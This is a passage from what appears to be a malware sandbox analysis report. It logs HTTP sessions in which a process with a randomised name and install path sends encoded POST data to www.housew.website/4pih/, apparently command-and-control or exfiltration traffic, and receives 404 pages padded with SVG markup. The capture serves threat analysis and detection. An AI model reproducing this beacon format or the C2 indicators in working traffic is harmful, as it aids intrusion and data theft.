Nov 20, 2024 08:33:39.962563992 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Nov 20, 2024 08:33:39.962591887 CET	448	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Nov 20, 2024 08:33:39.962606907 CET	1236	IN	Data Raw: 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 30 33 2c 31 2e 35 30 33 36 35 20 2d 31 2e 36 Data Ascii: 68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,-0.76581 4.0014
Nov 20, 2024 08:33:39.962624073 CET	1236	IN	Data Raw: 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 37 31 20 2d 34 2e 37 35 30 33 31 35 2c 31 31 Data Ascii: 49655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91675 15.180267,5
Nov 20, 2024 08:33:39.962639093 CET	1236	IN	Data Raw: 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e 31 36 36 36 37 20 31 30 2e 37 34 39 39 36 2c 31 32 2e 34 39 39 39 35 20 Data Ascii: 786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.4206
Nov 20, 2024 08:33:39.962657928 CET	1236	IN	Data Raw: 33 2c 32 33 2e 38 30 36 34 37 20 2d 30 2e 35 33 30 33 34 2c 31 34 2e 31 34 33 33 38 20 2d 32 2e 38 38 37 30 36 2c 33 36 2e 35 33 32 32 36 20 2d 35 2e 34 32 30 39 2c 35 36 2e 34 34 39 35 31 20 2d 32 2e 35 33 33 38 33 2c 31 39 2e 39 31 37 32 35 20 Data Ascii: 3,23.80647 -0.53034,14.14338 -2.88706,36.53226 -5.4209,56.44951 -2.53383,19.91725 -5.24428,37.35836 -7.95503,54.80146" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;strok
Nov 20, 2024 08:33:39.962768078 CET	896	IN	Data Raw: 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 Data Ascii: butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545" d="m 83.12978,122.92016 c -2.601311,10.56131 -5.214983,21.17282 -7.40283,31.41665 -2.187847,10.24384 -3.955407,20.14218 -5.074975,26.03483
Nov 20, 2024 08:33:39.962836027 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Nov 20, 2024 08:33:39.962872028 CET	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
Nov 20, 2024 08:33:39.967689991 CET	1236	IN	Data Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50019	203.161.46.205	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:41.948102951 CET	840	OUT	POST /4pih/ HTTP/1.1 Host: www.housew.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.housew.website Referer: http://www.housew.website/4pih/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 55 6b 6e 51 44 55 68 44 4c 6c 5a 32 62 7a 2b 53 57 4d 70 37 43 6e 4b 30 57 36 65 74 47 36 4d 32 2b 65 44 33 32 78 2f 45 6d 78 32 2b 6a 53 69 6f 65 6f 38 77 39 68 6c 65 35 38 51 4d 64 6a 31 53 77 42 59 6f 56 44 63 41 41 32 75 47 42 36 56 45 38 57 41 6f 64 4d 4b 6c 79 50 47 35 78 73 48 31 45 33 6d 47 79 37 48 4a 32 51 61 39 30 41 4e 4e 6a 35 63 4d 77 58 50 2f 39 5a 6d 44 63 69 57 7a 52 49 6c 58 32 38 59 71 5a 52 4b 61 6a 72 31 77 6b 63 55 31 72 50 6e 71 74 70 52 39 39 53 79 35 4b 54 72 45 38 4f 72 59 6d 31 76 31 64 32 70 79 76 57 51 53 77 56 55 38 66 44 6c 4e 41 66 71 76 41 53 52 5a 77 59 31 30 42 77 43 4b 39 68 42 5a 68 31 35 30 48 2f 69 79 6c 51 4a 39 5a 70 47 33 4e 77 3d 3d Data Ascii: GR54yHZ8=UknQDUhDLlZ2bz+SWMp7CnK0W6etG6M2+eD32x/Emx2+jSioeo8w9hle58QMdj1SwBYoVDcAA2uGB6VE8WAodMKlyPG5xsH1E3mGy7HJ2Qa90ANNj5cMwXP/9ZmDciWzRIlX28YqZRKajr1wkcU1rPnqtpR99Sy5KTrE8OrYm1v1d2pyvWQSwVU8fDlNAfqvASRZwY10BwCK9hBZh150H/iylQJ9ZpG3Nw==
Nov 20, 2024 08:33:42.565973043 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:33:42 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Nov 20, 2024 08:33:42.566024065 CET	224	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Nov 20, 2024 08:33:42.566082954 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 Data Ascii: style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000;stroke-width:0.1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" d="m 145.0586,263.51309 c -90.20375,-0.0994 -119.20375,-0.0994 -119.20375,-0.09
Nov 20, 2024 08:33:42.566119909 CET	1236	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 34 39 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 Data Ascii: ;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0071,6.75165 -0.0107,10.12897 m 0.512159,0.18258 c -1.914603,-0.23621 -3.505591,1.17801 -4.861444,2.68113 -1.355853,1.5
Nov 20, 2024 08:33:42.566153049 CET	1236	IN	Data Raw: 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 31 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 37 34 2e 36 38 37 35 2c 31 32 35 2e 30 33 37 Data Ascii: ;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.3433 -18.781379,20.01048 -5.583823,6.66719 -10.749655,13.66605 -13.
Nov 20, 2024 08:33:42.566186905 CET	672	IN	Data Raw: 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a Data Ascii: #000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.22912 11.6978
Nov 20, 2024 08:33:42.566220999 CET	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Nov 20, 2024 08:33:42.566277027 CET	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Nov 20, 2024 08:33:42.566308975 CET	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Nov 20, 2024 08:33:42.566399097 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Nov 20, 2024 08:33:42.566438913 CET	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50020	203.161.46.205	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:33:44.501368046 CET	1853	OUT	POST /4pih/ HTTP/1.1 Host: www.housew.website Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.housew.website Referer: http://www.housew.website/4pih/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 55 6b 6e 51 44 55 68 44 4c 6c 5a 32 62 7a 2b 53 57 4d 70 37 43 6e 4b 30 57 36 65 74 47 36 4d 32 2b 65 44 33 32 78 2f 45 6d 78 2b 2b 6a 68 71 6f 4d 62 6b 77 38 68 6c 65 6e 73 51 4e 64 6a 31 31 77 46 30 6b 56 44 51 51 41 30 47 47 54 6f 74 45 74 79 63 6f 55 4d 4b 6c 77 50 48 65 73 38 48 67 45 33 32 43 79 37 58 4a 32 51 61 39 30 43 6c 4e 67 73 6f 4d 39 33 50 2b 34 5a 6d 6d 4e 53 57 62 52 49 38 31 32 38 4d 51 5a 6e 36 61 6a 4b 5a 77 6a 2b 73 31 30 2f 6e 6b 73 70 51 75 39 53 76 6e 4b 58 7a 49 38 4f 76 6d 6d 32 7a 31 66 67 67 6b 33 56 35 4d 69 6a 41 7a 44 7a 56 52 50 59 69 68 4a 67 4e 5a 37 62 4e 6f 43 42 79 2b 37 52 64 54 30 53 51 55 47 73 58 59 75 58 49 50 63 35 58 74 65 75 35 6e 69 4d 63 63 2b 42 45 44 79 54 55 4b 6c 52 73 34 75 38 77 34 30 78 39 78 66 66 41 6e 38 2b 7a 46 4d 43 43 38 4a 46 61 6a 78 73 41 4b 69 68 57 78 66 4b 50 5a 62 30 75 55 61 41 2b 4d 6d 2b 66 66 6e 59 77 70 4d 72 34 49 6a 70 6d 74 44 56 54 30 73 2f 63 4a 37 4f 54 4e 57 54 71 42 6f 55 78 71 62 6e 78 38 6f [TRUNCATED] Data Ascii: GR54yHZ8=UknQDUhDLlZ2bz+SWMp7CnK0W6etG6M2+eD32x/Emx++jhqoMbkw8hlensQNdj11wF0kVDQQA0GGTotEtycoUMKlwPHes8HgE32Cy7XJ2Qa90ClNgsoM93P+4ZmmNSWbRI8128MQZn6ajKZwj+s10/nkspQu9SvnKXzI8Ovmm2z1fggk3V5MijAzDzVRPYihJgNZ7bNoCBy+7RdT0SQUGsXYuXIPc5Xteu5niMcc+BEDyTUKlRs4u8w40x9xffAn8+zFMCC8JFajxsAKihWxfKPZb0uUaA+Mm+ffnYwpMr4IjpmtDVT0s/cJ7OTNWTqBoUxqbnx8ofgb0OQM12lfCoCuRB8zUR6rR6c5bza9QvxoPoNjyZ9BwTWXUCfM3cVXf+FT9Fb+jzqBdlGLClCXaus/xyGnxBLqt+tFjCZWcPPw14rPvnh9vdmnG56+dBoOLWdfeDK5Ne8XGIH0rTLJifpAjiuaRxpAj0Y45lQou6WY7DWa5jB9KtDW0fhNr0NsH7w53VlmagcIBwg90pj6gwCksZVlE/k6gIqo9MvlR2ts3OzRYtl+FK0uqPRDCYjxslmJ4efAmsFdndpsNIARrEYAh3nWZg+U5ZOSruwDpptslJM8nU+W5YjmzhuWRZBciSZkhVWiSAHBFkNBC2/QH7dbWeCJD1UoT6YWRVe2EJWjKvTSm1z63UbkdPxnS45DNWwKFwxoHErxJ4qvlicLzzFAyJOqBvFb9RfpxzTCzx9LL2GP1y0nMQZ5/knSzRIIQe7S+jUASMggyTgUD117/TYNNVd4IdDxXLxpfp3FbmZKbVEHJSFx/c85vXuxYWKo/XQ7DREJvBkiwNctJzB5NcdrGnOZ4lpGfZZ1c8n35fHs+ksBwko313hbpsfgdhsPzaLEhL6U7pT4FzmlUD6hpUOUESTCRjfYfTtF9azSpHONm257a+YST3rzxJfhcgF7YILb+xYZ2EDC0nRaU74LLaohuunNCrNhoZtSyuHUhMv [TRUNCATED]
Nov 20, 2024 08:33:45.061866999 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:33:44 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Nov 20, 2024 08:33:45.061909914 CET	224	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Nov 20, 2024 08:33:45.061964989 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 Data Ascii: style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000;stroke-width:0.1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" d="m 145.0586,263.51309 c -90.20375,-0.0994 -119.20375,-0.0994 -119.20375,-0.09
Nov 20, 2024 08:33:45.062011003 CET	1236	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 34 39 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 Data Ascii: ;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.0036,3.37532 -0.0071,6.75165 -0.0107,10.12897 m 0.512159,0.18258 c -1.914603,-0.23621 -3.505591,1.17801 -4.861444,2.68113 -1.355853,1.5
Nov 20, 2024 08:33:45.062043905 CET	1236	IN	Data Raw: 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 31 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 37 34 2e 36 38 37 35 2c 31 32 35 2e 30 33 37 Data Ascii: ;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -13.197555,13.3433 -18.781379,20.01048 -5.583823,6.66719 -10.749655,13.66605 -13.
Nov 20, 2024 08:33:45.062077999 CET	672	IN	Data Raw: 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a Data Ascii: #000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14581 6.19786,6.22912 11.6978
